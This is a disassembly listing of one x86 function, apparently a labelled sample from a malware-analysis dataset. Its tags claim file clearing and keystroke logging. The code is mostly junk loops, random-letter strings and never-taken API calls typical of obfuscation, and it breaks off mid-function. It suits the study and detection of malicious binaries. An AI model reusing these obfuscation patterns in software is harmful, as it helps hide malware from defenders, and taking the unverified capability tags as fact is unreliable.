Function at 0x10021b27
Capabilities:
Clear file content
Extract resource via kernel32 functions
Get thread local storage value
Log keystrokes via polling

Disassembly:
mov eax, 0x10061a88
call fcn.100608e8
sub esp, 0x2a8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x4c], 0x5cc1
cmp dword [ebp - 0x4c], 0x601d
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x128], edx
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x1a8], ebx
jle 0x10021bbd
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x40], 0x46af
mov edi, ebx
mov ecx, edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x3c], ebx
shl esi, cl
mov eax, esi
mov ecx, 0x1007cdd8
or eax, ebx
cdq
push edx
push eax
call fcn.10005d27
inc ebx
cmp ebx, 0x6579
jl 0x10021b7c
mov esi, dword [ebp - 0x34]
inc edi
push 0
pop ebx
cmp edi, 0x77a3
jl 0x10021b72
dec esi
dec dword [ebp - 0x40]
mov dword [ebp - 0x34], esi
jne 0x10021b70
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x1264
jl 0x10021b66
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x4c], 0x5afa
jge 0x10021bd8
mov edx, str.hejkd_eanfpg_imykv_hbdlr_aylfqtob_kwgny_glrske
mov ecx, 0x1007cdd8
call fcn.100089dc
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10021c17
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1f4], 0x5711
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x10021c06
push 3
mov dword [ebp - 0x38], ebx
pop ecx
cmp dword [ebp - 0x38], ecx
jg 0x10021cb8
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x20], ebx
jmp 0x10021c44
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1f4], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x10021c37
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], ebx
jl 0x10021cac
mov dword [ebp - 0x1c], ebx
jmp 0x10021c68
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x88], 7
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10021c57
mov dword [ebp - 0x88], ebx
jmp 0x10021c9f
mov dword [ebp - 0x24], 6
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], ebx
jl 0x10021c99
mov eax, dword [ebp - 0x88]
cmp dword [ebp + eax*4 - 0x1f4], ebx
jne 0x10021c99
dec dword [ebp - 0x24]
jns 0x10021c85
inc dword [ebp - 0x88]
cmp dword [ebp - 0x88], ecx
jle 0x10021c76
dec dword [ebp - 0x20]
jns 0x10021c52
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jle 0x10021c2f
push dword [ebp - 0x7c]
movdqa xmm0, xmmword [0x1006f9b0]
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 0x94], ebx
push eax
push ebx
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x90], ebx
movdqu xmmword [ebp - 0x214], xmm0
mov dword [ebp - 0x8c], ebx
call fcn.100092ad
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x38], ebx
jmp 0x10021d25
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10021d1c
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x94]
cmp dword [eax + ecx*4], ebx
jne 0x10021d22
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jle 0x10021d0b
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 3
jle 0x10021d03
cmp dword [ebp - 0x94], 0
je 0x10021d52
push dword [ebp - 0x94]
call fcn.10048c99
pop ecx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x20], 0xa1f94964
mov dword [ebp - 0x24], 0xfffe
mov dword [ebp - 0x30], 0xb6f9b691
mov dword [ebp - 0x38], 0xf4864854
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x10021d87
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x16c], 0xf5a260df
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10021d76
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
add eax, 0x2ac5c730
cmp eax, 0xffffffff
jg 0x10021dac
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x168]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x16c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setl cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x78], 0x303ef04
mov dword [ebp - 0x74], 0x33023e06
mov dword [ebp - 0x70], 0x43010301
mov byte [ebp - 0x6c], 5
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], bl
mov byte [ebp - 0x69], 0x2b
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x1c], ebx
jmp 0x10021e44
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xa8], 0x68ec0ae9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x10021e33
mov dword [ebp - 0xa8], 0xffffffeb
jmp 0x10021e92
mov dword [ebp - 0x1c], 0xe57bf5cd
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10021e6d
push ebx
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov dword [ebp - 0x1c], 0x15
jmp 0x10021e86
mov dword [ebp - 0x2c], 0xffffffff
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x10021e76
inc dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 0x14
jge 0x10021e56
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10021eab
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
movdqa xmm0, xmmword [0x1006f990]
lea ecx, [ebp - 0xb4]
push 0x61
pop eax
push 2
pop esi
push dword [ebp - 0x7c]
mov word [ebp - 0x174], ax
lea eax, [ebp - 0x1f4]
push eax
lea eax, [ebp - 0x204]
mov dword [ebp - 0x20], ebx
push eax
mov dword [ebp - 0x30], esi
push ebx
movdqu xmmword [ebp - 0x204], xmm0
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
call fcn.100092ad
mov dword [ebp - 4], esi
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10021f1a
push 0x21e0
push 0x1d6d
push ebx
call dword [sym.imp.USER32.dll_InflateRect]
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
cmp eax, 0x8100
setle dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
test eax, eax
setns cl
xor eax, eax
cmp ecx, edx
setg al
neg eax
jne 0x10021f4e
cmp dword [ebp - 0x20], ebx
jne 0x10021f4e
xor esi, esi
mov edx, ebx
inc esi
jmp 0x10021f53
xor esi, esi
inc esi
mov edx, esi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setl cl
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xb4]
add ecx, edx
mov dword [ebp - 0x3c], eax
mov dword [eax + 4], ecx
xor eax, eax
test ecx, ecx
sete al
cmp eax, dword [ebp - 0x30]
jge 0x10022031
mov dword [ebp - 0x2c], 0x94ff
mov dword [ebp - 0x1c], 0x7b4f
cmp dword [ebp - 0x1c], 0x7ee7
jle 0x10022012
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x4c], ebx
mov ecx, edi
mov dword [ebp - 0x24], 0x2692
mov edi, dword [ebp - 0x34]
mov dword [ebp - 0x40], ecx
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x26c]
cdq
push edx
push eax
call fcn.10001a84
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10021fd5
mov eax, dword [eax]
push eax
call fcn.10048acd
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x26c]
call fcn.10006880
mov ecx, dword [ebp - 0x40]
dec ecx
dec dword [ebp - 0x24]
mov dword [ebp - 0x40], ecx
jne 0x10021fb9
mov edi, dword [ebp - 0x4c]
inc edi
mov dword [ebp - 0x4c], edi
cmp edi, 0x52a6
jl 0x10021faa
mov eax, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x34], eax
cmp eax, 0xce2
jl 0x10021fa5
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x1c], 0x7a97
mov dword [ecx + 4], eax
jge 0x10022043
push str.usxrtkyc_arouhfzs_gteqwxrwl
call fcn.10048acd
pop ecx
jmp 0x10022043
mov dword [ebp - 0x30], ebx
jmp 0x1002203e
cmp dword [ebp - 0x20], ebx
jne 0x10022043
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x10022036
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0xb4]
call fcn.10048c99
pop ecx
push 2
mov dword [ebp - 0xb4], ebx
mov ecx, ebx
mov dword [ebp - 0xb0], ebx
mov dword [ebp - 0xac], ebx
pop esi
cmp esi, 0xa
jne 0x10022074
push 2
pop ecx
jmp 0x100220a1
movzx edx, byte [ebp + esi - 0x77]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x7a]
movzx eax, word [ebp + eax*2 - 0x17c]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x78]
mov word [ebp + eax*2 - 0x17c], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x10
jb 0x1002206a
xor eax, eax
lea ecx, [ebp - 0xe4]
mov word [ebp - 0x16e], ax
mov dword [ebp - 0x30], 0x25b9b55b
mov dword [ebp - 0x24], 0xd162c5d1
mov dword [ebp - 0x40], 0x4c6f4446
mov dword [ebp - 0x38], 0xfd090d79
push 2
call fcn.10006036
mov dword [ebp - 4], 5
mov dword [ebp - 0x48], 0xfffffffb
mov dword [ebp - 0x1c], ebx
jmp 0x10022101
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], 0xc5d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100220ee
push 0xfffffffffffffffa
mov dword [ebp - 0x30], ebx
pop edi
cmp dword [ebp - 0x30], 0xfffffff8
jle 0x100224bb
mov dword [ebp - 0x1c], 0xa2768935
mov dword [ebp - 0x24], 0x33dd
cmp dword [ebp - 0x24], 0x370b
jle 0x10022178
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov dword [ebp - 0x40], 0x63d5
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
mov ecx, 0x1007cdd8
cdq
push edx
push eax
call fcn.10005d27
inc esi
cmp esi, 0x68
jl 0x1002213c
mov esi, dword [ebp - 0x34]
add edi, esi
dec dword [ebp - 0x40]
jne 0x1002213a
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x74e
jl 0x10022131
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0xfffffffffffffffa
pop edi
mov dword [ebp - 0x20], edi
mov byte [ebp - 4], 6
cmp dword [ebp - 0x24], 0x3232
jge 0x10022197
mov edx, str.dyf_yjwwyt_rxweku
mov ecx, 0x1007cdd8
call fcn.100089dc
push 5
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x80], 0xffffffff
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x1c], ebx
jmp 0x100221de
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x50], 0x45d764ce
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 1
jl 0x100221d0
xor esi, esi
mov dword [ebp - 0x1c], ebx
inc esi
cmp dword [ebp - 0x1c], 0xfffffffd
jne 0x10022486
mov dword [ebp - 0x28], 0x2d564c7b
xor edx, edx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 0x30]
add ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x28]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x30]
setge cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
cmp dword [ebp - 0x2c], eax
setle cl
cmp ecx, dword [ebp - 0x28]
jge 0x10022243
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setge dl
mov dword [ebp - 0x40], edx
xor edx, edx
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
cmp eax, ecx
mov eax, dword [ebp - 0x80]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xffffffff
setge al
cmp edi, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x38], 0x13
jge 0x1002247b
mov byte [ebp - 0x15], bl
mov dword [ebp - 0x2c], 0x3dbd
cmp dword [ebp - 0x2c], 0x3f1a
jle 0x1002232c
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov dword [ebp - 0x3c], ebx
mov edx, ecx
mov edi, ebx
mov ecx, eax
sar edx, cl
mov dword [ebp - 0x44], edx
mov ecx, edi
mov dword [ebp - 0x20], 0x492f
mov dword [ebp - 0x4c], ecx
mov eax, edx
sar eax, cl
lea ecx, [ebp - 0x29c]
cdq
push edx
push eax
call fcn.10001a84
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100222df
mov eax, dword [eax]
push eax
call fcn.10048acd
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x29c]
call fcn.10006880
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x44]
dec ecx
dec dword [ebp - 0x20]
mov dword [ebp - 0x4c], ecx
jne 0x100222c3
inc edi
cmp edi, 0x53d2
jl 0x100222b7
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ebp - 0x3c], eax
cmp eax, 0x5733
jl 0x100222ac
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x4562
jl 0x100222a7
cmp byte [ebp - 0x15], 0
je 0x10022339
push ebx
call dword [sym.imp.USER32.dll_DestroyCursor]
cmp dword [ebp - 0x2c], 0x3d3e
jge 0x1002234d
push str.mvrii_xomqr_nlbufshfr_jqped_zctlk_zaoe_mcuvqf_ovjd_izc_styz_neio_iolvtwb
call fcn.10048acd
pop ecx
mov dword [ebp - 4], 5
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10022473
mov dword [ebp - 0x44], 0x1a0d
cmp dword [ebp - 0x44], 0x1ac1
jle 0x100223cc
mov edx, ebx
mov dword [ebp - 0x4c], ebx
mov ecx, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov eax, edi
mov dword [ebp - 0x3c], 0x71b9
mov dword [ebp - 0x2c], eax
and eax, ecx
mov ecx, 0x1007cdd8
and eax, edx
cdq
push edx
push eax
call fcn.10005d27
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x34]
dec eax
dec dword [ebp - 0x3c]
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x2c], eax
jne 0x10022388
inc edi
cmp edi, 0x5d69
jl 0x1002237c
inc ecx
mov dword [ebp - 0x34], ecx
cmp ecx, 0x2c54
jl 0x1002237a
inc edx
mov dword [ebp - 0x4c], edx
cmp edx, 0x66d0
jl 0x10022375
mov dword [ebp - 0x2c], 0x37def5f9
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0x44], 0x18ca
jge 0x10022410
mov edx, str.lzdcueepc_bnce_nwnum
mov ecx, 0x1007cdd8
call fcn.100089dc
jmp 0x10022410
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x20]
cmp dword [ebp + eax*4 - 0x50], ebx
jne 0x10022431
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x20], ebx
jne 0x1002242b
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp eax, esi
mov eax, dword [ebp - 0x50]
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
mov dword [ebp + eax*4 - 0x50], edx
mov dword [ebp - 0x28], 0xffffffe6
jmp 0x10022465
mov dword [ebp - 0x2c], 0xaf36eaf0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
jle 0x10022455
dec dword [ebp - 0x20]
jmp 0x10022357
inc dword [ebp - 0x38]
jmp 0x10022281
dec dword [ebp - 0x1c]
push 0xfffffffffffffffa
pop edi
jmp 0x100221ea
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
xor edx, edx
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x48]
cmp eax, esi
mov eax, dword [ebp - 0x30]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setg cl
sub eax, ecx
mov dword [ebp - 0x50], eax
dec dword [ebp - 0x30]
jmp 0x1002210d
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0xe4], 0
je 0x100224e6
push dword [ebp - 0xe4]
call fcn.10048c99
pop ecx
mov dword [ebp - 0xe4], ebx
mov dword [ebp - 0xe0], ebx
mov dword [ebp - 0xdc], ebx
xor eax, eax
mov dword [ebp - 0x190], 7
mov word [ebp - 0x1a4], ax
lea ecx, [ebp - 0x1a4]
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x194], ebx
push eax
call fcn.10006a1e
mov dword [ebp - 4], 0xc
push 2
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x24], ebx
pop ecx
jmp 0x10022538
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x110], 0xe2db58e4
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10022527
mov dword [ebp - 0x30], ebx
jmp 0x10022553
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x110], 1
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], ecx
jl 0x10022542
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 1
jg 0x1002266b
mov dword [ebp - 0x1c], 0x90be4438
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], ebx
jl 0x1002264d
xor esi, esi
mov dword [ebp - 0x34], 0x3a0b8ee4
mov dword [ebp - 0x34], 1
inc esi
cmp dword [ebp - 0x34], ebx
jl 0x1002263b
mov dword [ebp - 0x44], 0x6352
cmp dword [ebp - 0x44], 0x64de
jle 0x100225fd
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x3c], 0x14e1
mov dword [ebp - 0x2c], eax
cdq
lea ecx, [ebp - 0x254]
push edx
push eax
call fcn.10001a84
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100225cc
mov eax, dword [eax]
push eax
call fcn.10048acd
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x254]
call fcn.10006880
mov eax, dword [ebp - 0x2c]
add eax, edi
dec dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
jne 0x100225b4
inc edi
cmp edi, 0x48cd
jl 0x100225a8
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp - 0x44], 0x61b3
jge 0x10022611
push str.vhbhldipj_ucss_jjii_ukxghl_yxu_rifuf_afoncq_butwzh_mnms_falnywdn
call fcn.10048acd
pop ecx
mov dword [ebp - 4], 0xc
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x110], ebx
jne 0x1002263b
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022633
call dword [sym.imp.USER32.dll_DestroyCaret]
dec dword [ebp - 0x34]
jmp 0x1002258d
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x110]
dec dword [ebp - 0x1c]
jmp 0x10022573
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022663
push ebx
push 0x279
push ebx
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
inc dword [ebp - 0x30]
jmp 0x1002255b
xor eax, eax
lea edi, [ebp - 0x17c]
stosd dword es:[edi], eax
lea ecx, [ebp - 0xc0]
push 1
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.10006036
xor esi, esi
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x24], ebx
inc esi
jmp 0x100226a3
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0xc0]
mov dword [eax + ecx*4], 0xb26bdde0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10022690
mov eax, dword [ebp - 0xc0]
push 0xfffffffffffffff6
pop edi
mov dword [eax], ebx
push 2
lea ecx, [ebp - 0xf0]
call fcn.10006036
push 2
mov dword [ebp - 0x28], ebx
pop edx
jmp 0x100226d5
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x184], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x100226c8
mov dword [ebp - 0x28], ebx
jmp 0x100226ee
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xf0]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x100226df
mov dword [ebp - 0x28], ebx
jmp 0x10022705
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x9c], edi
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edx
jl 0x100226f8
mov ecx, dword [ebp - 0xf0]
mov dword [ecx + 4], ebx
mov eax, dword [ecx + 4]
inc dword [ecx + 4]
mov dword [ebp + eax*4 - 0x184], 8
cmp dword [ecx + 4], edx
jl 0x10022713
mov dword [ebp - 0x98], 0xfffffffc
jmp 0x1002274b
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022745
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
dec dword [ebp - 0x98]
cmp dword [ebp - 0x98], 0xffffffee
jge 0x10022735
push dword [ebp - 0xf0]
call fcn.10048c99
mov eax, dword [ebp - 0xc0]
pop ecx
mov dword [ebp - 0xf0], ebx
mov dword [ebp - 0xec], ebx
dec dword [eax]
mov dword [ebp - 0xe8], ebx
cmp dword [eax], edi
jge 0x100226b3
push eax
mov byte [ebp - 4], 0xc
call fcn.10048c99
pop ecx
push dword [ebp - 0x128]
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
call fcn.10005e3c
push 4
lea ecx, [ebp - 0x108]
mov byte [ebp - 4], 0x10
call fcn.10006036
mov dword [ebp - 0x20], ebx
jmp 0x100227d7
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x220], 8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x100227c6
mov dword [ebp - 0x20], ebx
jmp 0x100227f5
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x108]
mov dword [eax + ecx*4], 0xca4f833f
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x100227e2
mov edi, dword [ebp - 0x108]
mov dword [edi + 0xc], 2
mov dword [ebp - 0x34], 0xffffffff
mov dword [ebp - 0x34], 2
cmp dword [ebp - 0x34], ebx
jl 0x10022830
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x1002282b
push ebx
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
dec dword [ebp - 0x34]
jns 0x1002281b
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022841
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetRgnBox]
dec dword [edi + 0xc]
jns 0x10022808
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x108]
push ecx
mov eax, dword [ecx + 8]
mov dword [edi + 0xc], eax
call fcn.10048c99
mov dword [ebp - 0x108], ebx
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0x44], 0x2c04
cmp dword [ebp - 0x44], 0x2d42
pop ecx
jle 0x100228c8
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], 0x44f4
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x48], ebx
mov eax, edi
mov ecx, 0x1007cdd8
and eax, ebx
cdq
push edx
push eax
call fcn.10005d27
inc ebx
cmp ebx, 0x1534
jl 0x10022894
mov edi, dword [ebp - 0x3c]
add dword [ebp - 0x40], edi
dec dword [ebp - 0x2c]
push 0
pop ebx
jne 0x1002288e
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x6faa
jl 0x10022884
mov byte [ebp - 4], 0x11
cmp dword [ebp - 0x44], 0x2a16
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x5f], 0x1c3b031b
mov byte [ebp - 0x5b], 0xc2
jge 0x10022913
mov edx, str.ekwmg_dtgkjeh_gkuwkysv_ius_ahwfs_csmdjqyr
mov ecx, 0x1007cdd8
call fcn.100089dc
jmp 0x10022913
push 0x5c
pop eax
push 2
mov dword [ebp - 4], 0x10
mov ecx, ebx
mov word [ebp - 0x68], ax
pop edi
cmp edi, 2
jne 0x10022937
movzx eax, byte [ebp - 0x5e]
lea ecx, [eax + 1]
lea edi, [eax + 1]
jmp 0x10022960
movzx edx, byte [ebp + edi - 0x5f]
mov eax, edi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x62]
movzx ecx, word [ebp + eax*2 - 0x68]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + edi - 0x60]
add ecx, edx
mov word [ebp + eax*2 - 0x68], cx
mov ecx, ebx
add edi, 2
cmp edi, 6
jb 0x10022926
xor eax, eax
lea ecx, [ebp - 0xd8]
mov word [ebp - 0x66], ax
mov dword [ebp - 0x48], 0x53d06ce1
mov dword [ebp - 0x80], 0xd21dfe4b
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 0x1c03809d
mov dword [ebp - 0x2c], 0xfffffffc
mov dword [ebp - 0x2c], 0xcd9d75
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x2c], 7
push esi
call fcn.10006036
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x3c], 0xa2ff
mov dword [ebp - 0x44], 0xfffe
mov dword [ebp - 0x28], ebx
jmp 0x100229d2
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x23c], 0xffffffff
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 4
jl 0x100229c1
mov dword [ebp - 0x28], ebx
jmp 0x100229f0
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx*4], 0x67f8b4df
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 1
jl 0x100229dd
mov dword [ebp - 0x28], ebx
jmp 0x10022a09
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x7c], 1
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 1
jl 0x100229fb
cmp dword [ebp - 0x48], ebx
je 0x10022a3b
mov byte [ebp - 0x15], bl
cmp byte [ebp - 0x15], 0
je 0x10022ad7
push 0x1491
push 0x200
push 0x312
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
jmp 0x10022ad7
push 4
